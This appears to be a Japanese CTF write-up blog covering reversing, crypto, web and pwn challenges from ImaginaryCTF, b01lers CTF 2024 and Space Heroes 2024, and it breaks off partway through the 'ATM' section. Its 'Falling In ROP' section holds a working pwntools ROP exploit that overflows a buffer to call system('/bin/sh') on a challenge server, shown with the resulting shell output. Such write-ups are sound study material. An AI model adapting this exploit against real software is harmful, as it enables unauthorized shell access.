    0x00, 0x5F, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00,
    0x00, 0x5F, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00,
    0x00, 0x76, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00,
    0x00, 0x73, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00,
    0x00, 0x67, 0x00, 0x00, 0x00, 0x7D, 0x00, 0x00, 0x00]

flag = ''
for i in range(0, len(codes), 4):
    flag += chr(codes[i])
print(flag)
ictf{welc0me_t0_rev3rs1ng}

Vault 2 (Reverse 200)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined local_88 [128];
  
  puts("Enter the flag:");
  iVar1 = __isoc99_scanf("%127s",local_88);
  if (iVar1 != 0) {
    iVar1 = checkFlag(local_88);
    if (iVar1 == 0) {
      puts("Incorrect flag. Try again!");
    }
    else {
      puts("Congratulations! You\'ve solved the challenge.");
    }
  }
  return 0;
}

bool checkFlag(char *param_1)

{
  int iVar1;
  char local_a8 [128];
  undefined8 local_28;
  undefined7 local_20;
  undefined uStack_19;
  undefined7 uStack_18;
  
  local_28 = 0x7136777e62776168;
  local_20 = 0x6e5b306e636435;
  uStack_19 = 0x32;
  uStack_18 = 0x7f73357c5c7b;
  strncpy(local_a8,param_1,0x80);
  mysteryFunction(local_a8);
  iVar1 = strncmp(local_a8,(char *)&local_28,0x17);
  return iVar1 == 0;
}

void mysteryFunction(long param_1)

{
  int local_c;
  
  for (local_c = 0; *(char *)(param_1 + local_c) != '\0'; local_c = local_c + 1) {
    *(byte *)(param_1 + local_c) =
         *(byte *)(param_1 + local_c) ^ (char)local_c + (char)(local_c / 5) * -5 + 1U;
  }
  return;
}

入力データをmysteryFunction関数をかけて、checkFlagの各値と一致するものをブルートフォースで求める。

#!/usr/bin/env python3
def mystery(c, index):
    return c ^ index - (index // 5) * 5 + 1

enc = (0x7136777e62776168).to_bytes(8, 'little')
enc += (0x6e5b306e636435).to_bytes(7, 'little')
enc += (0x32).to_bytes(1, 'little')
enc += (0x7f73357c5c7b).to_bytes(6, 'little')

flag = ''
for i in range(len(enc)):
    for code in range(32, 127):
        if mystery(code, i) == enc[i]:
            flag += chr(code)
            break
print(flag)
ictf{v4r1abl3_k3y_x0r}

Vault 3 (Reverse 300)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined local_88 [128];
  
  puts("Enter the flag:");
  iVar1 = __isoc99_scanf("%127s",local_88);
  if (iVar1 != 0) {
    iVar1 = checkFlag(local_88);
    if (iVar1 == 0) {
      puts("Incorrect flag. Try again!");
    }
    else {
      puts("Congratulations! You\'ve solved the challenge.");
    }
  }
  return 0;
}

bool checkFlag(char *param_1)

{
  int iVar1;
  char local_a8 [128];
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  
  local_28 = 0x7a32567b6879656c;
  local_20 = 0x22785e7133237834;
  local_18 = 0x7f56305b5d6c77;
  strncpy(local_a8,param_1,0x80);
  encrypt(local_a8,(int)param_1);
  iVar1 = strncmp(local_a8,(char *)&local_28,0x18);
  return iVar1 == 0;
}

void encrypt(char *__block,int __edflag)

{
  byte bVar1;
  char cVar2;
  int local_14;
  
  for (local_14 = 0; __block[local_14] != '\0'; local_14 = local_14 + 1) {
    bVar1 = (byte)(local_14 >> 0x1f);
    cVar2 = rotateChar((int)(char)(((char)local_14 + (bVar1 >> 6) & 3) - (bVar1 >> 6) ^
                                  __block[local_14]),3);
    __block[local_14] = cVar2;
  }
  return;
}

uint rotateChar(byte param_1,int param_2)

{
  uint uVar1;
  
  if (((char)param_1 < 'a') || ('z' < (char)param_1)) {
    if (((char)param_1 < 'A') || ('Z' < (char)param_1)) {
      uVar1 = (uint)param_1;
    }
    else {
      uVar1 = (param_2 + (char)param_1 + -0x41) % 0x1a + 0x41;
    }
  }
  else {
    uVar1 = (param_2 + (char)param_1 + -0x61) % 0x1a + 0x61;
  }
  return uVar1;
}

入力データをencrypt関数をかけて、checkFlagの各値と一致するものをブルートフォースで求める。

#!/usr/bin/env python3
def encrypt(c, index):
    v1 = index >> 0x1f
    v2 = rotateChar((index + (v1 >> 6) & 3) - (v1 >> 6) ^ c, 3)
    return v2

def rotateChar(a, b):
    if a < ord('a') or ord('z') < a:
        if a < ord('A') or ord('Z') < a:
            c = a
        else:
            c = (b + a - 0x41) % 0x1a + 0x41
    else:
        c = (b + a - 0x61) % 0x1a + 0x61
    return c

enc = (0x7a32567b6879656c).to_bytes(8, 'little')
enc += (0x22785e7133237834).to_bytes(8, 'little')
enc += (0x7f56305b5d6c77).to_bytes(7, 'little')

flag = ''
for i in range(len(enc)):
    for code in range(32, 127):
        if encrypt(code, i) == enc[i]:
            flag += chr(code)
            break
print(flag)
ictf{R0t4t!0n_w!th_X0R}

Warmup (Web 100)

http://statesman.ictf5.ninja/src/App.jsxの冒頭に以下のように書いてある。

import { createHotContext as __vite__createHotContext } from "/@vite/client";import.meta.hot = __vite__createHotContext("/src/App.jsx");import.meta.env = {"VITE_FAKE_FLAG": "N07F4K3F14G", "VITE_ENDPOINT": "http://20.55.192.124:5000/decrypt", "VITE_FLAG": "ictf{wElc0Me_T0_1ctf}", "BASE_URL": "/", "MODE": "development", "DEV": true, "PROD": false, "SSR": false};import * as RefreshRuntime from "/@react-refresh";

これにフラグが含まれている。

ictf{wElc0Me_T0_1ctf}

Di Dah (Crypto 100)

モールス信号に変換する。

-.... ----. -.... ...-- --... ....- -.... -.... --... -... ....- -.. ...-- ----- --... ..--- --... ...-- ...-- ...-- ..... ..-. ...-- ....- -.... . -.... ....- ..... ..-. ....- ....- ...-- .---- ....- ....- ....- ----- -.... ---.. ..... ..-. ..... --... -.... ---.. ...-- .---- --... .- ...-- ...-- --... ..--- ...-- ...-- --... ..--- --... -.. ----- .-

https://morsecode.world/international/translator.htmlでデコードする。

696374667B4D307273335F346E645F44314440685F5768317A337233727D0A

これをhexデコードする。

$ echo 696374667B4D307273335F346E645F44314440685F5768317A337233727D0A | xxd -r -p
ictf{M0rs3_4nd_D1D@h_Wh1z3r3r}
ictf{M0rs3_4nd_D1D@h_Wh1z3r3r}

b01lers CTF 2024 Writeup

この大会は2024/4/13 8:00(JST)~2024/4/15 8:00(JST)に開催されました。
今回もチームで参戦。結果は3112点で393チーム中46位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

Discordに入り、#announcementsチャネルのメッセージにフラグが書いてあった。

bctf{sanitcheckcomplete}

Annnnnnny Second Now (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  ulong uVar1;
  long in_FS_OFFSET;
  uint local_84;
  uint local_78 [26];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_78[0] = 0x8bf7;
  local_78[1] = 0x8f;
  local_78[2] = 0x425;
  local_78[3] = 0x36d;
  local_78[4] = 0x1c1928b;
  local_78[5] = 0xe5;
  local_78[6] = 0x70;
  local_78[7] = 0x151;
  local_78[8] = 0x425;
  local_78[9] = 0x2f;
  local_78[10] = 0x739f;
  local_78[11] = 0x91;
  local_78[12] = 0x7f;
  local_78[13] = 0x42517;
  local_78[14] = 0x7f;
  local_78[15] = 0x161;
  local_78[16] = 0xc1;
  local_78[17] = 0xbf;
  local_78[18] = 0x151;
  local_78[19] = 0x425;
  local_78[20] = 0xc1;
  local_78[21] = 0x161;
  local_78[22] = 0x10d;
  local_78[23] = 0x1e7;
  local_78[24] = 0xf5;
  uVar1 = super_optimized_calculation(0x5a);
  for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) {
    putc((int)(uVar1 % (ulong)local_78[(int)local_84]),stdout);
  }
  putc(10,stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

long super_optimized_calculation(int param_1)

{
  long lVar1;
  long lVar2;
  
  if (param_1 == 0) {
    lVar1 = 0;
  }
  else if (param_1 == 1) {
    lVar1 = 1;
  }
  else {
    lVar2 = super_optimized_calculation(param_1 + -1);
    lVar1 = super_optimized_calculation(param_1 + -2);
    lVar1 = lVar1 + lVar2;
  }
  return lVar1;
}

super_optimized_calculationはフィボナッチ数列になる関数で、引数をインデックスとして、以下のような配列になる。

[0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ...]

インデックスが0x5aの値を求める必要がある。Pythonで簡単に求める方法を使ってこの値を求め、あとは上記のコードと同じ処理をして出力する。

#!/usr/bin/env python3
def fib(n):
    global iterations
    new, old = 1, 0
    for i in range(n):
            new, old = old, new + old
            iterations+=1 #keep track of how many times its run
    return old

enc = [0x8bf7, 0x8f, 0x425, 0x36d, 0x1c1928b, 0xe5, 0x70, 0x151, 0x425, 0x2f,
    0x739f, 0x91, 0x7f, 0x42517, 0x7f, 0x161, 0xc1, 0xbf, 0x151, 0x425, 0xc1,
    0x161, 0x10d, 0x1e7, 0xf5]

iterations = 0
v = fib(0x5a)

flag = ''
for c in enc:
    flag += chr(v % c)
print(flag)
bctf{what's_memoization?}

choose_the_param (crypto)

サーバの処理概要は以下の通り。

・padded_flag: ランダム200バイト文字列 + flag + ランダム200バイト文字列
・m: padded_flagの数値化したもの
・以下繰り返し
 ・bits: 数値入力
 ・bit_len: bitsの数値
 ・p1: bit_lenビット素数
 ・p2: bit_lenビット素数
 ・n = p1 * p2
 ・e = 65537
 ・c = pow(m, e, n)
 ・n, e, cを表示

小さいビット数にして、素因数分解できるものにし、復号できるようにする。flagの数値を複数のnで割った余りの情報(復号した値)を集め、CRTでフラグを復元する。

#!/usr/bin/env python3
import socket
from sympy import factorint
from sympy.ntheory.modular import crt
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('gold.b01le.rs', 5001))

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

bits = 32
ms = []
ns = []
for _ in range(64):
    data = recvuntil(s, b'> ')
    print(data + str(bits))
    s.sendall(str(bits).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    n = int(data.split(' ')[-1], 16)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    e = int(data.split(' ')[-1], 16)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    c = int(data.split(' ')[-1], 16)

    fac = factorint(n)
    phi = 1
    for p in fac:
        phi *= p - 1
    d = inverse(e, phi)
    m = pow(c, d, n)
    assert(pow(m, e, n) == c)

    ns.append(n)
    ms.append(m)

m, _ = crt(ns, ms)
padded_flag = long_to_bytes(m)

flag = padded_flag[200:-200].decode()
print(flag)

実行結果は以下の通り。

Choose your parameter
Enter the bit length of the prime!
I'll choose two prime of that length, and encrypt the flag using rsa.
Try decrypt the flag!

Enter the bit length of your primes> 32
n = 91d27d967eaeae2b
e = 10001
c = 498d0427b8cc519d
Enter the bit length of your primes> 32
n = 670f80b17178b50b
e = 10001
c = b6e4aaae745a4d7
Enter the bit length of your primes> 32
n = a4d6eaa111d76175
e = 10001
c = f880af323415c15
Enter the bit length of your primes> 32
n = 7421e8915f92f5c7
e = 10001
c = 13bdaa178c61d4d2
Enter the bit length of your primes> 32
n = 580d9539ab4661e3
e = 10001
c = 1b33de83ec441b3e
Enter the bit length of your primes> 32
n = 6fc3312abe99fe63
e = 10001
c = 2ee82f73ff2c6807
Enter the bit length of your primes> 32
n = 828c5f9fc01151d5
e = 10001
c = 61bb4ea6af3cdcf4
Enter the bit length of your primes> 32
n = 914cc5936cbec0b7
e = 10001
c = 552aba347203ff5
Enter the bit length of your primes> 32
n = c2cc58f3ef13d547
e = 10001
c = 1fcbf90c60c838d
Enter the bit length of your primes> 32
n = 9aaba815dcada10d
e = 10001
c = 10a27cd2bcdc83f8
Enter the bit length of your primes> 32
n = 800aa96fe575173d
e = 10001
c = 7c4beed2815a6ba1
Enter the bit length of your primes> 32
n = cb2d723bae1dbdb3
e = 10001
c = 1d4f53e89437ffa3
Enter the bit length of your primes> 32
n = 6236605304244a8d
e = 10001
c = 46b39bb1f63ad5bb
Enter the bit length of your primes> 32
n = ab8ba59649024711
e = 10001
c = 3f7f3be8dcf3f881
Enter the bit length of your primes> 32
n = 84f03cd87cc37d07
e = 10001
c = 5e2a967169b5ffb5
Enter the bit length of your primes> 32
n = 95925865cb75f845
e = 10001
c = 1d93190429366366
Enter the bit length of your primes> 32
n = 763ecff63a14183b
e = 10001
c = 16f7b7f59ccb3ef3
Enter the bit length of your primes> 32
n = ba80511a830e6b6f
e = 10001
c = 60fba2d0b219893f
Enter the bit length of your primes> 32
n = e5d1de8cb98fd957
e = 10001
c = 6b32e0f73f0ef84
Enter the bit length of your primes> 32
n = c609e6406a0e55f7
e = 10001
c = 1d842d61c342357b
Enter the bit length of your primes> 32
n = 7ebb37c7d2e90321
e = 10001
c = 62eaf78696352f25
Enter the bit length of your primes> 32
n = 6db238c7c046dfcf
e = 10001
c = 494c1b28d9d10680
Enter the bit length of your primes> 32
n = 991439410ed9986d
e = 10001
c = 2f52671eee8c09cc
Enter the bit length of your primes> 32
n = 98e2bd7c91f9efc7
e = 10001
c = 19960b1ab2361059
Enter the bit length of your primes> 32
n = 8ea579a17de9f3fb
e = 10001
c = f45c6b1d18a527d
Enter the bit length of your primes> 32
n = 97993eae7ea671a3
e = 10001
c = 6788616b32bfbc05
Enter the bit length of your primes> 32
n = 997ded2f7c733575
e = 10001
c = 52a21bce335c2496
Enter the bit length of your primes> 32
n = 5806f99758ae659b
e = 10001
c = 3c797e477aa9d5be
Enter the bit length of your primes> 32
n = 61183d3587d99e31
e = 10001
c = 19715b42fd82f77d
Enter the bit length of your primes> 32
n = ba9150172ef173a5
e = 10001
c = 547958a7ac2b88a7
Enter the bit length of your primes> 32
n = 56757ff450b7f079
e = 10001
c = 4a7fe9fb2fa71042
Enter the bit length of your primes> 32
n = 76ef126ba18a7515
e = 10001
c = 637d21c3206b3629
Enter the bit length of your primes> 32
n = ba84ff7ed8d57459
e = 10001
c = 32efee37045153b9
Enter the bit length of your primes> 32
n = 56f680bb40ff9d91
e = 10001
c = 433b64850907b5b8
Enter the bit length of your primes> 32
n = 84b6ff421161c021
e = 10001
c = de4d96d8e702c5d
Enter the bit length of your primes> 32
n = 6ad39973299b2107
e = 10001
c = 229174ed7f7494b9
Enter the bit length of your primes> 32
n = cbf0d754baba2ce9
e = 10001
c = 540bd531a0b53376
Enter the bit length of your primes> 32
n = 6d26e457b179e2e9
e = 10001
c = 3a161e89459d673c
Enter the bit length of your primes> 32
n = 86327cf39c6d75f1
e = 10001
c = 225eca92ac57d93a
Enter the bit length of your primes> 32
n = 6061d7c484d0a35f
e = 10001
c = 47881d12904a6912
Enter the bit length of your primes> 32
n = 8e8adac3cf3b965f
e = 10001
c = 2d01f953e4c3b060
Enter the bit length of your primes> 32
n = c1d908c5ad780ea9
e = 10001
c = 9ea0b4a02b7a9e0b
Enter the bit length of your primes> 32
n = a138d51079b95d8f
e = 10001
c = 7ae89bf18f1983e1
Enter the bit length of your primes> 32
n = 5e34e66cdd61211b
e = 10001
c = 581aa9ceac0d8997
Enter the bit length of your primes> 32
n = bc62ce84c0034897
e = 10001
c = 3e96df0ccadcc199
Enter the bit length of your primes> 32
n = 695f931d5812f8f7
e = 10001
c = 5a0320e540b301d0
Enter the bit length of your primes> 32
n = 9311fe636cd33c87
e = 10001
c = 56b17ecafb623d6e
Enter the bit length of your primes> 32
n = 5cf62e28077105d7
e = 10001
c = 198af292d61fb1d4
Enter the bit length of your primes> 32
n = 75e999f95bacadcd
e = 10001
c = 1ee23dc316401f2f
Enter the bit length of your primes> 32
n = ac6acdab4b1374bb
e = 10001
c = a443ac99946b846b
Enter the bit length of your primes> 32
n = 5346b02ba42d4185
e = 10001
c = 3f77144bf2b19d4c
Enter the bit length of your primes> 32
n = 66e9948966033f59
e = 10001
c = 4becf921a6ed329f
Enter the bit length of your primes> 32
n = ccfb36b3afff7d55
e = 10001
c = ab23a1114bb401da
Enter the bit length of your primes> 32
n = cb8b4744fb4d8997
e = 10001
c = 584905532a8499c6
Enter the bit length of your primes> 32
n = 98dea46cf2711a8b
e = 10001
c = 8e395a8761ff6f0f
Enter the bit length of your primes> 32
n = 80f82dd7ab90108d
e = 10001
c = 2fc52300fe35409e
Enter the bit length of your primes> 32
n = bf97553c0372463b
e = 10001
c = 6f9d1cd29874b9fd
Enter the bit length of your primes> 32
n = 7062e9e6430f349b
e = 10001
c = 5b440e4a8225442e
Enter the bit length of your primes> 32
n = 858a91396893208f
e = 10001
c = 3049d3bb4507e8b0
Enter the bit length of your primes> 32
n = 4d926b549f81dad1
e = 10001
c = 39e9dbd5c29d43b6
Enter the bit length of your primes> 32
n = 6b12b1e746dff909
e = 10001
c = 50a2e32286ef36de
Enter the bit length of your primes> 32
n = 838ad22052610149
e = 10001
c = 32cbbacad70ed43b
Enter the bit length of your primes> 32
n = 6325f18027971b65
e = 10001
c = 99a7db737ed6723
Enter the bit length of your primes> 32
n = 766a8ce181ffde93
e = 10001
c = 74d1222474735238
bctf{dont_let_the_user_choose_the_prime_length_>w<}
bctf{dont_let_the_user_choose_the_prime_length_>w<}

Fetus-RSA (crypto)

topGはフラグを5バイトずつに分割し、5×5の行列にしたもの。bottomGの値からtopGを求める問題ということになる。

bottomG = topG ** e

bottomG = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。

topG * ... * topG = P * J * inverse(P)
        ↓
(inverse(P) * topG * P) ** e = J

nは2分探索で素因数分解できる。上記の計算を素因数分解した素数のp1について行い、Jを算出する。Jの斜めの要素について、RSA暗号の復号でinverse(P) * topG * Pを求める。
inverse(P) * topG * PをBとすると、以下の計算でtopGを算出できる。

topG = P * B * inverse(P)

topGがわかれば、各要素を文字にし、結合すればフラグになる。

#!/usr/bin/sage
from Crypto.Util.number import *
from sympy import nextprime

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
M = []
for i in range(4, 14, 2):
    row = [int(v) for v in params[i].split(' ')[:-1]]
    M.append(row)

bounds = [2**127, 2**128]
while True:
    base = (bounds[0] + bounds[1]) // 2
    p1 = nextprime(base)
    p2 = nextprime(p1 * 1 - 1)
    p3 = nextprime(p2 * 3 - 1)
    p4 = nextprime(p3 * 3 - 1)
    p5 = nextprime(p4 * 7 - 1)
    tmp_n = p1 * p2 * p3 * p4 * p5
    if tmp_n > n:
        bounds[1] = base
    elif tmp_n < n:
        bounds[0] = base
    else:
        break

bottomG = Matrix(GF(p1), M)
J, P = bottomG.jordan_form(transformation=True)

e = 31337
phi = p1 - 1
d = inverse(e, phi)
B = []
for i in range(5):
    c = J[i][i]
    m = pow(c, d, p1)
    row = [0, 0, 0, 0]
    row.insert(i, m)
    B.append(row)
B = Matrix(GF(p1), B)

topG = P * B * ~P

flag = ''
for i in range(5):
    for j in range(5):
        flag += long_to_bytes(int(topG[i][j])).decode()
print(flag)
bctf{c0ngr4ts_y0u_35c4p3d_th3_m4tr1c3s, but really how? what color is your honda civic? sorry i just need to make this long.}

survey (misc)

アンケートの最後の質問の選択肢にフラグが書いてあった。

bctf{thanks_for_playing_see_you_next_year}

Space Heroes 2024 Writeup

この大会は2024/4/13 7:00(JST)~2024/4/15 7:00(JST)に開催されました。
今回もチームで参戦。結果は2031点で614チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。

I rebel... (Welcome)

Discordに入り、#rulesチャネルでルールを見ると、フラグが書いてあった。

shctf{th3r3_is_a_great_DISturb4nc3_n_t3h_4ce}

Falling In ROP (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  DisplayArt();
  vuln();
  fflush((FILE *)0x0);
  return 0;
}

undefined8 vuln(void)

{
  undefined local_58 [80];
  
  puts("-============Coming Home - Falling In Reverse============-");
  puts(
      "Transmission from the stars.\nA message from the atmosphere.\nEtched into my heart.\nYour pur pose there is still unclear."
      );
  printf("Tell me who you are: ");
  read(0,local_58,0x100);
  return 0;
}

void win(int param_1,int param_2,int param_3)

{
  if (((param_1 == 0x7971957) && (param_2 == 0x71972)) && (param_3 == 0x9214)) {
    printf("I can finally hear her message loud and clear hold on my dear I\'m coming home");
    system("whoami");
  }
  else {
    printf("Your /bin/sh");
  }
  return;
}

BOFでROPを使ってsystem関数を"/bin/sh"を引数に指定して実行できればよい。

$ ROPgadget --binary falling.bin | grep ": ret"  
0x0000000000401016 : ret
0x0000000000401042 : ret 0xbf
0x0000000000401022 : retf 0xbf

$ ROPgadget --binary falling.bin --re "pop rdi" 
Gadgets information
============================================================
0x00000000004011cb : mov ebp, esp ; pop rdi ; ret
0x00000000004011ca : mov rbp, rsp ; pop rdi ; ret
0x00000000004011cd : pop rdi ; ret
0x00000000004011c9 : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 4
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote("spaceheroes-falling-in-rop.chals.io", 443, ssl=True, sni="spaceheroes-falling-in-rop.chals.io")
else:
    p = process("./falling.bin")

elf = ELF("./falling.bin")

ret_addr = 0x401016
pop_rdi_addr = 0x4011cd
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search(b"/bin/sh\x00"))

payload = b"A" * 88
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

data = p.recvuntil(b": ").decode()
print(data, end="")
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to spaceheroes-falling-in-rop.chals.io on port 443: Done
[*] '/media/sf_Shared/falling.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
                                                                                                    
            ▄▄▄▄                                                                    ▄▄▄▄            
             ▄▄▄▄▄                                                                ▄▄▄ ▄             
              ▄▄▄▄▄▄▄                                                          ▄▄▄▄▄▄▄              
               ▄▄ ▄▄▄▄▄▄                                                    ▄▄▄▄▄▄▄▄▄               
                ▄▄     ▄▄▄▄                                              ▄▄▄▄▄    ▄▄                
                 ▄▄▄    ▄▄▄▄▄▄                                        ▄▄▄▄▄▄    ▄▄▄                 
                  ▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄                                  ▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄                  
                   ▄▄  ▄▄▄▄▄▄ ▄▄▄▄▄                              ▄▄▄▄▄ ▄▄▄▄▄▄  ▄▄▀                  
                    ▄▄  ▄▄▄▄▄▄   ▄▄▄▄▄                        ▄▄▄▄▄▄  ▄▄▄▄▄▄  ▄▄                    
                     ▄▄▄▄▄▄▄ ▀▄▄▄▄▄  ▄▄▄▄▄                 ▄▄▄▄  ▄▄▄▄▄▀▀▄▄▄▄▄▄▄▀                    
                      ▄▄  ▄▄▄   ▀▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄ ▄▄▄▄▀▀  ▄▄▄▄ ▄▄                      
                       ▄▄ ▄ ▄▄    ▀▀▄▄▄   ▄▄▄▄▄      ▄▄▄▄  ▄▄▄▄▄▀▀    ▄▄▄  ▄▄                       
                        ▄▄▄ ▄▄        ▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▀▀      ▄▄▄▄▄▄▄▀                       
                         ▄▄  ▄▄▄        ▀▄▄▄▄▄ ▄▄▄▄▄▄  ▄▄▄▀▀        ▄▄▄ ▄▄▄                         
                          ▄▄  ▄▄          ▀▄▄▄  ▄ ▄   ▄▀▀        ▄▄▄▄▄▄▄▄▀                          
                           ▄▄▄▄▄▄▄         ▀▀▄  ▄     ▄        ▄▄▄▄ ▄▄▄▀                            
                            ▄▄  ▄▄▄          ▄    ▄   ▄      ▄▄▄▄ ▄▄▄▀                              
                            ▀▄▄▄ ▄▄          ▄    ▄   ▄     ▄▄▄ ▄▄▄▀                                
  ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄     ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄  
     ▀▀▄▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄  ▄▄▄▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▀▀     
          ▀▀▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▀▀          
              ▀▀▀▀▄▄▄▄▄ ▄▄▄▄     ▄▄ ▄▄▄    ▀▀▄▄  ▄ ▄  ▄      ▄▄▄ ▄ ▀    ▄▄▄▄  ▄▄▄▄▀▀▀▀              
                    ▀▀▀▄▄▄ ▄▄▄   ▀▄▄ ▄▄▄     ▄▄  ▄▄▄  ▄     ▄▄ ▄▄▄▀   ▄▄▄ ▄▄▄▄▀▀                    
                         ▀▀▄▄▄▄▄▄  ▄▄  ▄▄    ▄    ▄▄  ▄    ▄▄  ▄▄  ▄▄▄▄▄▄▀▀                         
                              ▀▀▄▄▄▄▄▄▄ ▄▄   ▄▄  ▄▄   ▄   ▄▄  ▄▄▄▄ ▄▀▀                              
                                    ▀▄▄  ▄▄  ▄▄ ▄▄▄▄  ▄  ▄▄▄▄▄▄▀                                    
                                      ▄▄  ▄▄ ▄▄  ▄   ▄▄ ▄▄ ▄▄▄▀                                     
                                      ▀▄▄▄▄▄▄▄▄      ▄ ▄▄▄ ▄▄▀                                      
                                        ▄▄ ▄▄▄  ▄▄   ▄▄▄▄ ▄▄▀                                       
                                        ▀▄▄▄▄▄    ▄   ▄▄▄▄▄▀                                        
                                         ▀▄▄▄▄▄   ▄   ▄▄▄▄▀                                         
                                           ▄▄▄▄  ▄ ▄ ▄▄▄▄▀                                          
                                           ▀▄        ▄▄▄▀                                           
                                             ▄   ▄▄  ▄▄                                             
                                             ▀▄ ▄   ▄▄▀                                             
                                              ▀▄▄▄▄▄▄▀                                              
                                               ▀▄▄▄▄▀                                               
                                                ▀▄▄▀                                                
                                                                                                    
-============Coming Home - Falling In Reverse============-
Transmission from the stars.
A message from the atmosphere.
Etched into my heart.
Your purpose there is still unclear.
Tell me who you are: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xcd\x11@\x00\x00\x00\x00\x005!@\x00\x00\x00\x00\x00P\x10@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
-
banner_fail
bin
boot
chal
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
service.conf
srv
sys
tmp
usr
var
wrapper
$ cat flag.txt
shctf{hat3_mu$t_n3v3r_w1n_6184}
shctf{hat3_mu$t_n3v3r_w1n_6184}

ATM (re)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_11;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Welcome to the ATM (Alien Time Machine)! Please select an option from the list below:");
  do {
    puts("(b)alance\n(w)ithdrawal\nOption: ");
    __isoc99_scanf(&DAT_001021a0,&local_11);
    getchar();
    iVar1 = atm((int)local_11);
  } while (iVar1 != 1);
  print_flag();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

undefined8 atm(char param_1)

{
  time_t tVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_18;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 'w') {
    puts("How much would you like to withdrawal? (Whole amts only)\nAmount: ");
    __isoc99_scanf(&DAT_00102062,&local_18);
    tVar1 = time((time_t *)0x0);
    srand((uint)tVar1);
    local_14 = rand();
    if (local_14 == local_18) {
      print_flag();
      uVar2 = 1;
      goto LAB_0010145c;
    }
    puts("Completing facial recognition...");
    sleep(2);
    puts("Wait a minute, this isn\'t you! Locking in time loop...");
    sleep(2);
    puts("Going back in time... beep boop beep beep boop");
    sleep(2);
  }
  else if (param_1 == 'b') {
    puts("Balance: 100,000,000,000 AD (Alien Dollars)");
  }
  uVar2 = 0;
LAB_0010145c:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

void print_flag(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  fgets(local_48,0x32,__stream);
  printf("<<< %s\n",local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

UNIXTIMEの整数値をseedにしてrand()の値を指定すればフラグを取得できる。
まずこのランダム値を取得できるプログラムを作成する。

$ cat get_amount.c    
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

